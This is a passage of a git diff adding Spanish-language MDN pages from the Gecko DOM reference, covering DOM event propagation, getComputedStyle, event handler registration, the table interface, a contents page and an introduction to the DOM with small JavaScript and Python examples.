+<p>Sin embargo, stopEvent también llama a un método del objeto evento, <a href="es/DOM/event.stopPropagation">event.stopPropagation</a>, que mantiene el evento del burbujeo a continuación dentro del DOM. Note que la tabla misma tiene un manejador de evento <a href="es/DOM/element.onclick">onclick</a> que muestra un mensaje cuando la tabla es seleccionada. Pero el método stopEvent ha detenido la propagación, y así despues los datos en la tabla son actualizados, la fase de evento es efectivamente finalizada, y un cuadro de alerta es mostrado para confirmar esto.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Propagación del evento&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+ #t-daddy { border: 1px solid red }
+ #c1 { background-color: pink; }
+&lt;/style&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hola";
+
+  // this ought to keep t-daddy from getting the click.
+  ev.stopPropagation();
+  alert("La propagación del evento se ha parado.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="load();"&gt;
+
+&lt;table id="t-daddy" onclick="alert('hi');"&gt;
+ &lt;tr id="tbl1"&gt;
+  &lt;td id="c1"&gt;uno&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+  &lt;td id="c2"&gt;dos&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ejemplo_6:_Conseguir_el_estilo_computado_.28getComputedStyle.29" name="Ejemplo_6:_Conseguir_el_estilo_computado_.28getComputedStyle.29">Ejemplo 6: Conseguir el estilo computado (getComputedStyle)</h3>
+
+<p>Este ejemplo demuestra como el método <a href="es/DOM/window.getComputedStyle">window.getComputedStyle</a> puedes utilizarse para obtener los estilos de un elemento que no son especificados en el atributo <code>style</code> o con JavaScript (por ejemplo, <strong><span class="highlightgreen"><code>element.style.backgroundColor="rgb(173, 216, 230)"</code></span></strong>). Estos últimos tipos de estilos se pueden recuperar con el atributo <a href="es/DOM/element.style">element.style</a>, las propiedades del cual están en la <a href="es/DOM/CSS">lista de propiedades de CSS</a> del DOM.</p>
+
+<p><code>getComputedStyle()</code> devuelve un objeto <code>ComputedCSSStyleDeclaration</code>, cuyas propiedades de estilo individuales pueden ser referenciadas con este método del objeto <code>getPropertyValue()</code>, el siguiente documento de ejemplo lo muestra.</p>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+ &lt;title&gt;Ejemplo de ''getComputedStyle''&lt;/title&gt;
+
+ &lt;script type="text/javascript"&gt;
+   function cStyles()
+  {
+   var RefDiv = document.getElementById("d1");
+
+   var txtHeight = document.getElementById("t1");
+   var h_style =
+document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+   txtHeight.value = h_style;
+
+   var txtWidth = document.getElementById("t2");
+   var w_style =
+document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+   txtWidth.value = w_style;
+
+   var txtBackgroundColor = document.getElementById("t3");
+   var b_style =
+document.defaultView.getComputedStyle(RefDiv,
+null).getPropertyValue("background-color");
+   txtBackgroundColor.value = b_style;
+  }
+ &lt;/script&gt;
+
+ &lt;style type="text/css"&gt;
+   #d1 { margin-left: 10px; background-color: rgb(173, 216, 230);
+height: 20px; max-width: 20px; }
+ &lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div id="d1"&gt;&amp;nbsp;&lt;/div&gt;
+
+&lt;form action=""&gt;
+&lt;p&gt;&lt;button type="button" onclick="cStyles();"&gt;getComputedStyle&lt;/button&gt;
+  height&lt;input id="t1" type="text" value="1"&gt;
+  max-width&lt;input id="t2" type="text" value="2"&gt;
+  bg-color&lt;input id="t3" type="text" value="3"&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ejemplo_7:_Mostrar_las_propiedades_del_objeto_de_evento" name="Ejemplo_7:_Mostrar_las_propiedades_del_objeto_de_evento">Ejemplo 7: Mostrar las propiedades del objeto de evento</h3>
+
+<p>Este ejemplo utiliza métodos del DOM para mostrar todas las propiedades del <a href="es/DOM/event">evento</a> de <a href="es/DOM/window.onload">window.onload</a> y sus valores en una tabla. Muestra además una cómoda técnica del uso de un bucle<em><strong>for...in</strong></em> para iterar sobre las propiedades de un objeto y conseguir sus valores.</p>
+
+<p>Las propiedades de los objetos de evento difieren bastante entre los navegadores, la <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">especificación W3C de los eventos del DOM 2</a> enumera las propiedades estándares, sin embargo algunos navegadores han extendido estas diferencias.</p>
+
+<p>El siguiente código colocado dentro de un nuevo archivo de texto y cargado en un surtido de navegadores, sorprenderá por las diferencias de los números y nombres de propiedades y/o al ponerle más elementos a la página y llamar esa función desde diferentes gestores de evento.</p>
+
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+   "http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;title&gt;Muestra las propiedades del evento&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+  table {border-collapse: collapse;}
+  thead {font-weight: bold;}
+  td {padding: 2px 10px 2px 10px;}
+  .odd {background-color: #efdfef;}
+  .even {background-color: #ffffff;}
+&lt;/style&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showEventProperties(e)
+{
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var e = e || window.event;
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Propriété', 'Valeur'];
+  var len = lableList.length;
+
+  for (var i=0; i&lt;len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+window.onload = function(event){
+  showEventProperties(event);
+}
+&lt;/script&gt;
+
+&lt;h1&gt;Propiedades del objeto evento del DOM&lt;span id="eventType"&gt;&lt;/span&gt;&lt;/h1&gt;
+</pre>
+
+<h3 id="Ejemplo_8:_Utilizaci.C3.B3n_del_interfaz_de_tabla_del_DOM" name="Ejemplo_8:_Utilizaci.C3.B3n_del_interfaz_de_tabla_del_DOM">Ejemplo 8: Utilización del interfaz de tabla del DOM</h3>
+
+<p>La interfaz HTMLTableElement del DOM provee algunos métodos de conveniencia para crear y manipular tablas. Dos métodos usados frecuentemente son <code><a href="es/DOM/table.insertRow">table.insertRow</a></code> y <code><a href="es/DOM/table/row.insertCell">row.insertCell</a></code>.</p>
+
+<p>Para agregar una columna y algunas celdas a una tabla existente:</p>
+
+<pre>&lt;table id="table0"&gt;
+ &lt;tr&gt;
+  &lt;td&gt;Row 0 Cell 0&lt;/td&gt;
+  &lt;td&gt;Row 0 Cell 1&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;script type="text/javascript"&gt;
+
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell, text;
+for (var i=0; i&lt;2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+
+&lt;/script&gt;
+</pre>
+
+<h4 id="Notas" name="Notas">Notas</h4>
+
+<ul>
+ <li>Una propiedad <code><a href="es/DOM/element.innerHTML">innerHTML</a></code> de la tabla nunca debería ser utilizada para modificar una tabla, aunque puede utilizarla para escribir una tabla entera o el contenido de una celda.</li>
+ <li>Si los métodos Core del DOM<code><a href="es/DOM/document.createElement">document.createElement</a></code> y <code><a href="es/DOM/element.appendChild">element.appendChild</a></code> son utilizados para crear columnas y celdas, IE requiere que sean agregadas a un elemento tbody, mientras que otros navegadores permitirán agregar a un elemento de la tabla (las columnas serán agregadas al último elemento tbody).</li>
+ <li>Hay un número de otros métodos de conveniencia pertenecientes a la <a href="es/DOM/table#M.C3.A9todos">interfaz de tabla</a> que pueden ser utilizados para crear y modificar tablas.</li>
+</ul>
diff --git a/files/es/referencia_dom_de_gecko/eventos/index.html b/files/es/referencia_dom_de_gecko/eventos/index.html
new file mode 100644
index 0000000000..fce2530535
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/eventos/index.html
@@ -0,0 +1,72 @@
+---
+title: Eventos y el DOM
+slug: Referencia_DOM_de_Gecko/Eventos
+tags:
+  - DOM
+  - Guía
+translation_of: Web/API/Document_Object_Model/Events
+---
+<h2 id="Introduction" name="Introduction">Introducción</h2>
+
+<p>Este capítulo describe el Modelo de Eventos del DOM. Se describe la interfaz <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Event</a>, así como las interfaces para el registro de eventos en los nodos del DOM, y los <a href="/en-US/docs/Web/API/EventTarget.addEventListener">oyentes de eventos</a>, y varios ejemplos más largos muestran cómo se relacionan entre sí las diversas interfaces de eventos.</p>
+
+<p>Hay un diagrama excelente que explica claramente las tres fases del flujo de eventos a través del DOM en el borrador <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a>.</p>
+
+<p>Vea también el <a href="/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Ejemplo 5: Propagación de eventos</a> en el capítulo de Ejemplos para un ejemplo más detallado de cómo los eventos se mueven a través del DOM.</p>
+
+<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">Registrando oyentes de eventos</h2>
+
+<p>Hay 3 formas de registrar gestores de eventos para un elemento DOM.</p>
+
+<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener"><a href="/en-US/docs/Web/API/EventTarget.addEventListener"><code>EventTarget.addEventListener</code></a></h3>
+
+<pre class="brush: js">// Se supone que myButton es un elemento de botón
+myButton.addEventListener('click', function(){alert('Hello world');}, false);
+</pre>
+
+<p>Este es el método que debe usar en las páginas web modernas. </p>
+
+<p>Nota: Internet Explorer 6-8 no admite este método, ofreciendo una API similar {{domxref("EventTarget.attachEvent")}} en su lugar. Para la compatibilidad entre navegadores utilice una de las muchas bibliotecas de JavaScript disponibles.</p>
+
+<p>Se pueden encontrar más detalles en la página de referencia {{domxref("EventTarget.addEventListener")}}.</p>
+
+<h3 id="HTML_attribute" name="HTML_attribute"><a href="/en-US/docs/Web/Guide/HTML/Event_attributes">Atributo HTML</a></h3>
+
+<pre class="brush: html">&lt;button onclick="alert('Hello world!')"&gt;
+</pre>
+
+<p>El código de JavaScript en el atributo pasa el objeto Event por medio del parámetro <code>event</code>. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">El valor de retorno se trata de una manera especial, descrita en la especificación HTML</a>.</p>
+
+<p>Debe evitarse esta forma. Hace que el marcado sea más grande y menos legible. El comitido del contenido/estructura y del comportamiento no están bien separadas, por lo que es más difícil encontrar un error.</p>
+
+<h3 id="DOM_element_properties" name="DOM_element_properties">Propiedades del elemento DOM</h3>
+
+<pre class="brush: js">// Se supone que myButton es un elemento de botón
+myButton.onclick = function(event){alert('Hello world');};
+</pre>
+
+<p>La función se puede defirnir para que tome un parámetro <code>event</code>. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">El valor de retorno se trata de una manera especial, descrita en la especificación HTML</a>.</p>
+
+<p>El problema con este método es que solo se puede establecer un gestor por elemento y por evento.</p>
+
+<h2 id="Accediendo_a_las_Interfaces_de_eventos">Accediendo a las Interfaces de eventos</h2>
+
+<p>Los controladores de eventos se pueden adjuntar a varios objetos, incluidos los elementos DOM, documentos, al <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">objeto window</a>, etc. Cuando se produce un evento, se crea un objeto de evento y se pasa secuencialmente a los oyentes del evento.</p>
+
+<p>Se puede acceder a la interfaz {{domxref ("Evento")}} desde la función del gestor, a través del objeto de evento pasado como primer argumento. El siguiente ejemplo simple muestra cómo se pasa un objeto de evento a la función del controlador de eventos, y se puede usar desde dentro de una de esas funciones.</p>
+
+<pre class="brush: js">function foo(evt) {
+  // al parámetro evt se le asigna automáticamente el objeto event
+  alert(evt);
+}
+table_el.onclick = foo;
+</pre>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/es/referencia_dom_de_gecko/index.html b/files/es/referencia_dom_de_gecko/index.html
new file mode 100644
index 0000000000..0f3a2a7f75
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/index.html
@@ -0,0 +1,91 @@
+---
+title: Referencia DOM de Gecko
+slug: Referencia_DOM_de_Gecko
+tags:
+  - DOM
+  - NecesitaRevisiónTécnica
+  - Todas_las_Categorías
+translation_of: Web/API/Document_Object_Model
+---
+<p>
+« <a href="es/Referencia_DOM_de_Gecko">Referencia DOM de Gecko</a>
+</p><p><br>
+Aquí está la tabla de contenido para la referencia <a href="es/DOM">DOM</a> de <a href="es/Gecko">Gecko</a>.
+</p>
+<h4 id="Prefacio"> <a href="es/Referencia_DOM_de_Gecko/Prefacio">Prefacio</a> </h4>
+<ul><li> <a href="es/Referencia_DOM_de_Gecko/Prefacio#Sobre_.C3.A9sta_referencia">Sobre ésta referencia</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Prefacio#A_qui.C3.A9n_est.C3.A1_dirigida_esta_gu.C3.ADa.3F">A quién está dirigida esta guía?</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Prefacio#Qu.C3.A9_es_Gecko.3F">Qué es Gecko?</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Prefacio#Sintaxis_del_API">Sintaxis del API</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Prefacio#Utilizaci.C3.B3n_de_ejemplos">Utilización de ejemplos</a>
+</li></ul>
+<h4 id="Introducci.C3.B3n"> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n">Introducción</a> </h4>
+<ul><li> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#Qu.C3.A9_es_el_DOM.3F">Qué es el DOM?</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#DOM_y_JavaScript">DOM y JavaScript</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#C.C3.B3mo_se_accede_al_DOM.3F">Cómo se accede al DOM?</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#Importancia_de_los_tipos_de_datos">Tipos de datos importantes</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#Interfaces_del_DOM">Interfaces del DOM</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Introducci%c3%b3n#Probando_el_API_del_DOM">Probando el API del DOM</a>
+</li></ul>
+<h4 id="La_referencia_al_elemento_.28element.29_de_DOM"> <a href="es/DOM/element">La referencia al elemento (<code>element</code>) de DOM</a> </h4>
+<ul><li> <a href="es/DOM/element#Introducci.C3.B3n">Introducción</a>
+</li><li> <a href="es/DOM/element#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/element#M.C3.A9todos">Métodos</a>
+</li><li> <a href="es/DOM/element#Manejo_de_los_eventos">Manejo de los eventos</a>
+</li></ul>
+<h4 id="La_referencia_a_la_ventana_.28window.29_de_DOM"> <a href="es/DOM/window">La referencia a la ventana (<code>window</code>) de DOM</a> </h4>
+<ul><li> <a href="es/DOM/window#Introducci.C3.B3n">Introducción</a>
+</li><li> <a href="es/DOM/window#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/window#M.C3.A9todos">Métodos</a>
+</li><li> <a href="es/DOM/window#Manejo_de_los_eventos">Manejo de los eventos</a>
+</li></ul>
+<h4 id="La_referencia_al_document_de_DOM"> <a href="es/DOM/document">La referencia al <code>document</code> de DOM</a> </h4>
+<ul><li> <a href="es/DOM/document#Introducci.C3.B3n">Introducción</a>
+</li><li> <a href="es/DOM/document#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/document#M.C3.A9todos">Métodos</a>
+</li></ul>
+<h4 id="La_referencia_al_event_de_DOM"> <a href="es/DOM/event">La referencia al <code>event</code> de DOM</a> </h4>
+<ul><li> <a href="es/DOM/event#Introducci.C3.B3n">Introducción</a>
+</li><li> <a href="es/DOM/event#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/event#M.C3.A9todos">Métodos</a>
+</li></ul>
+<h4 id="La_referencia_al_estilo_.28style.29_de_DOM"> <a href="es/DOM/style">La referencia al estilo (<code>style</code>) de DOM</a> </h4>
+<ul><li> <a href="es/DOM/style#Notas">Notas</a>
+</li><li> <a href="es/DOM/style#Material_que_se_mover.C3.A1_a_otras_p.C3.A1ginas"> Material que se moverá a otras páginas</a>
+</li></ul>
+<h4 id="La_referencia_al_rango_.28range.29_de_DOM"> <a href="es/DOM/range">La referencia al rango (<code>range</code>) de DOM</a> </h4>
+<ul><li> <a href="es/DOM/range#Introducci.C3.B3n">Introducción</a>
+</li><li> <a href="es/DOM/range#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/range#M.C3.A9todos">Métodos</a>
+</li></ul>
+<h4 id="La_referencia_a_la_selecci.C3.B3n_.28selection.29_de_DOM"> <a href="es/DOM/selection">La referencia a la selección (<code>selection</code>) de DOM</a> </h4>
+<ul><li> <a href="es/DOM/Selection#Introducci.C3.B3n">Introducción</a>
+</li><li> <a href="es/DOM/Selection#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/Selection#M.C3.A9todos">Métodos</a>
+</li></ul>
+<h4 id="Interfaz_del_elemento_formulario_.28form.29_en_HTML"> <a href="es/DOM/form">Interfaz del elemento formulario (<code>form</code>) en HTML</a> </h4>
+<ul><li> <a href="es/DOM/form#Interfaz_del_elemento_formulario_en_HTML">Interfaz del elemento formulario en HTML</a>
+</li><li> <a href="es/DOM/form#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/form#M.C3.A9todos">Métodos</a>
+</li></ul>
+<h4 id="Interfaz_del_elemento_tabla_.28table.29_en_HTML"> <a href="es/DOM/table">Interfaz del elemento tabla (<code>table</code>) en HTML</a> </h4>
+<ul><li> <a href="es/DOM/table#Interfaz_del_elemento_tabla_en_HTML">Interfaz del elemento tabla en HTML</a>
+</li><li> <a href="es/DOM/table#Propiedades">Propiedades</a>
+</li><li> <a href="es/DOM/table#M.C3.A9todos">Métodos</a>
+</li></ul>
+<h4 id="Ejemplos_DOM"> <a href="es/Referencia_DOM_de_Gecko/Ejemplos">Ejemplos DOM</a> </h4>
+<ul><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_1:_Altos_y_anchos">Ejemplo 1: Altos y anchos</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_2:_Atributos_de_una_imagen">Ejemplo 2: Atributos de una imagen</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_3:_Manipulaci.C3.B3n_de_estilos">Ejemplo 3: Manipulación de estilos</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_4:_Utilizaci.C3.B3n_de_la_hoja_de_estilo">Ejemplo 4: Utilización de la hoja de estilo</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_5:_Propagaci.C3.B3n_del_evento">Ejemplo 5: Propagación del evento</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_6:_Conseguir_el_estilo_computado">Ejemplo 6: Conseguir el estilo computado (<code>getComputedStyle</code>)</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_7:_Mostrar_las_propiedades_del_objeto_de_evento">Ejemplo 7: Mostrar las propiedades del objeto de evento</a>
+</li><li> <a href="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_8:_Utilizaci.C3.B3n_del_interfaz_de_tabla_del_DOM">Ejemplo 8: Utilización del interfaz de tabla del DOM</a>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_sobre_el_documento_original"> Información sobre el documento original </h3>
+<ul><li> Última actualización: 22 de Octubre de 2006
+</li></ul>
+</div>
+{{ languages( { "en": "en/Gecko_DOM_Reference", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko", "it": "it/Reference_del_DOM_di_Gecko", "ja": "ja/Gecko_DOM_Reference", "ko": "ko/Gecko_DOM_Reference", "pl": "pl/Dokumentacja_Gecko_DOM", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003" } ) }}
diff --git a/files/es/referencia_dom_de_gecko/introducción/index.html b/files/es/referencia_dom_de_gecko/introducción/index.html
new file mode 100644
index 0000000000..5c604a7a6c
--- /dev/null
+++ b/files/es/referencia_dom_de_gecko/introducción/index.html
@@ -0,0 +1,248 @@
+---
+title: Introducción
+slug: Referencia_DOM_de_Gecko/Introducción
+tags:
+  - DOM
+  - Gecko
+  - Manuales
+  - Todas_las_Categorías
+translation_of: Web/API/Document_Object_Model/Introduction
+---
+<p> </p>
+
+<p>Ésta sección da una breve introducción conceptual del <a href="es/DOM">DOM</a>: qué es, cómo proporciona la estructura para los documentos <a href="es/HTML">HTML</a> y <a href="es/XML">XML</a>, cómo se accede a él, y cómo esta <a href="https://es.wikipedia.org/wiki/Interfaz_de_programaci%C3%B3n_de_aplicaciones">"API"</a> presenta la información de referencia y ejemplos.</p>
+
+<h2 id=".C2.BFQu.C3.A9_es_el_DOM.3F" name=".C2.BFQu.C3.A9_es_el_DOM.3F">¿Qué es el DOM?</h2>
+
+<p>El modelo de objeto de documento (DOM) es una interfaz de programación para los documentos HTML y XML. Facilita una representación estructurada del documento y define de qué manera los programas pueden acceder, al fin de modificar, tanto su estructura, estilo y contenido. El DOM da una representación del documento como un grupo de nodos y objetos estructurados que tienen propiedades y métodos. Esencialmente, conecta las páginas web a scripts o lenguajes de programación.</p>
+
+<p>Una página web es un documento. Éste documento puede exhibirse en la ventana de un navegador o también como código fuente HTML. Pero, en los dos casos, es el mismo documento. El modelo de objeto de documento (DOM) proporciona otras formas de presentar, guardar y manipular este mismo documento. El DOM es una representación completamente orientada al objeto de la página web y puede ser modificado con un lenguaje de script como JavaScript.</p>
+
+<p>El <a class="external" href="http://www.w3.org/DOM/">W3C DOM</a> estándar forma la base del funcionamiento del DOM en muchos navegadores modernos. Varios navegadores ofrecen extensiones más allá del estándar W3C, hay que ir con extremo cuidado al utilizarlas en la web, ya que los documentos pueden ser consultados por navegadores que tienen DOMs diferentes.</p>
+
+<p>Por ejemplo, el DOM de W3C especifica que el método <code>getElementsByTagName</code> en el código de abajo debe devolver una lista de todos los elementos <code>&lt;p&gt;</code> del documento:</p>
+
+<pre class="brush: js">paragraphs<font><font> = document.getElementsByTagName ("p");</font></font>
+// paragraphs[0] es el primer elemento &lt;p&gt;
+// paragraphs[1] es el segundo elemento &lt;p&gt;, etc.<font><font>
+alert (</font></font>paragraphs<font><font> [0].nodeName);</font></font>
+</pre>
+
+<p>Todas las propiedades, métodos y eventos disponibles para la manipulación y la creación de páginas web está organizado dentro de objetos. Un ejemplo: el objeto <code>document</code> representa al documento mismo, el objeto <code>table</code> hace funcionar la interfaz especial <code>HTMLTableElement</code> del DOM para acceder a tablas HTML, y así sucesivamente. Ésta documentación procura una relación objeto-por-objeto del DOM que funciona con los navegadores basados en Gecko.</p>
+
+<h2 id="DOM_y_JavaScript" name="DOM_y_JavaScript"><font><font><font><font>DOM y JavaScript</font></font></font></font></h2>
+
+<p>El ejemplo corto de abajo, como casi todos los ejemplos de esta referencia, es <a href="es/JavaScript">JavaScript</a>. Es decir, es <em>escrito</em> en JavaScript pero <em>utiliza</em> el DOM para acceder al documento y a sus elementos. El DOM no es un lenguaje de programación pero sin él, el lenguaje JavaScript no tiene ningún modelo o noción de las páginas web, de la páginas XML ni de los elementos con los cuales es usualmente relacionado. Cada elemento -"el documento íntegro, el título, las tablas dentro del documento, los títulos de las tablas, el texto dentro de las celdas de las tablas"- es parte del modelo de objeto del documento para cada documento, así se puede acceder y manipularlos utilizando el DOM y un lenguaje de escritura, como JavaScript.</p>
+
+<p>En el comienzo, JavaScript y el DOM estaban herméticamente enlazados, pero después se desarrollaron como entidades separadas. El contenido de la página es almacenado en DOM y el acceso y la manipulación se hace vía JavaScript, podría representarse aproximadamente así:</p>
+
+<p>API(web o página XML) = DOM + JS(lenguaje de script)</p>
+
+<p>El DOM fue diseñado para ser independiente de cualquier lenguaje de programación particular, hace que la presentación estructural del documento sea disponible desde un simple y consistente API. Aunque en este manual nos centramos exclusivamente en JavaScript, la directrices del DOM pueden construirse para cualquier lenguaje, así lo demuestra el siguiente ejemplo de Python:</p>
+
+<pre class="brush: python line-numbers  language-python"><code class="language-python"># Ejemplo DOM de Python
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # Propiedad DOM del objeto document;
+p_list = doc.getElementsByTagName("para");</code></pre>
+
+<h2 id=".C2.BFC.C3.B3mo_se_accede_al_DOM.3F" name=".C2.BFC.C3.B3mo_se_accede_al_DOM.3F">¿Cómo se accede al DOM?</h2>
+
+<p>No se tiene que hacer nada especial para empezar a utilizar el DOM. Los diferentes navegadores tienen directrices DOM distintas, y éstas directrices tienen diversos grados de conformidad al actual estándar DOM (un tema que se intenta evitar en este manual), pero todos los navegadores web usan el modelo de objeto de documento para hacer accesibles las páginas web al script.</p>
+
+<p>Cuando se crea un script –esté en un elemento <code>&lt;SCRIPT&gt;</code> o incluido en una página web por la instrucción de cargar un script– inmediatamente está disponible para usarlo con el API, accediendo así a los elementos <code><a href="es/DOM/document">document</a></code> o <code><a href="es/DOM/window">window</a></code>, para manipular el documento mismo o sus diferentes partes, las cuales son los varios elementos de una página web. La programación DOM hace algo tan simple como lo siguiente, lo cual abre un mensaje de alerta usando la función <code><a href="es/DOM/window.alert">alert()</a></code> desde el objeto <code><a href="es/DOM/window">window</a></code>, o permite métodos DOM más sofisticados para crear realmente un nuevo contenido, como en el largo ejemplo de más abajo.</p>
+
+<pre class="brush: html">&lt;body onload="window.alert('Bienvenido a mi página!');"&gt;
+</pre>
+
+<p>Aparte del elemento <code>&lt;script&gt;</code> en el cual JavaScript es definido, el ejemplo siguiente muestra la función a ejecutar cuando el documento se está cargando (y que el DOM completo es disponible para su uso). Esta función crea un nuevo elemento <code>H1</code>, le pone texto y después lo agrega al árbol del documento:</p>
+
+<pre class="brush: html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span></code><code class="language-html">
+  </code><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+       <span class="comment token">// ejecuta esta función cuando se cargue el documento</span>
+       window<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+         <span class="comment token">// </span></span></code>crea dinámicamente un par de elementos HTML en una página vacia<code class="language-html"><span class="language-javascript script token">
+         <span class="keyword token">var</span> heading <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"h1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+         <span class="keyword token">var</span> heading_text <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span><span class="string token">"</span></span></code>el texto que desee<code class="language-html"><span class="language-javascript script token"><span class="string token">"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+         heading<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>heading_text<span class="punctuation token">)</span><span class="punctuation token">;</span>
+         document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>heading<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Tipos_de_datos_importantes" name="Tipos_de_datos_importantes">Tipos de datos importantes</h2>
+
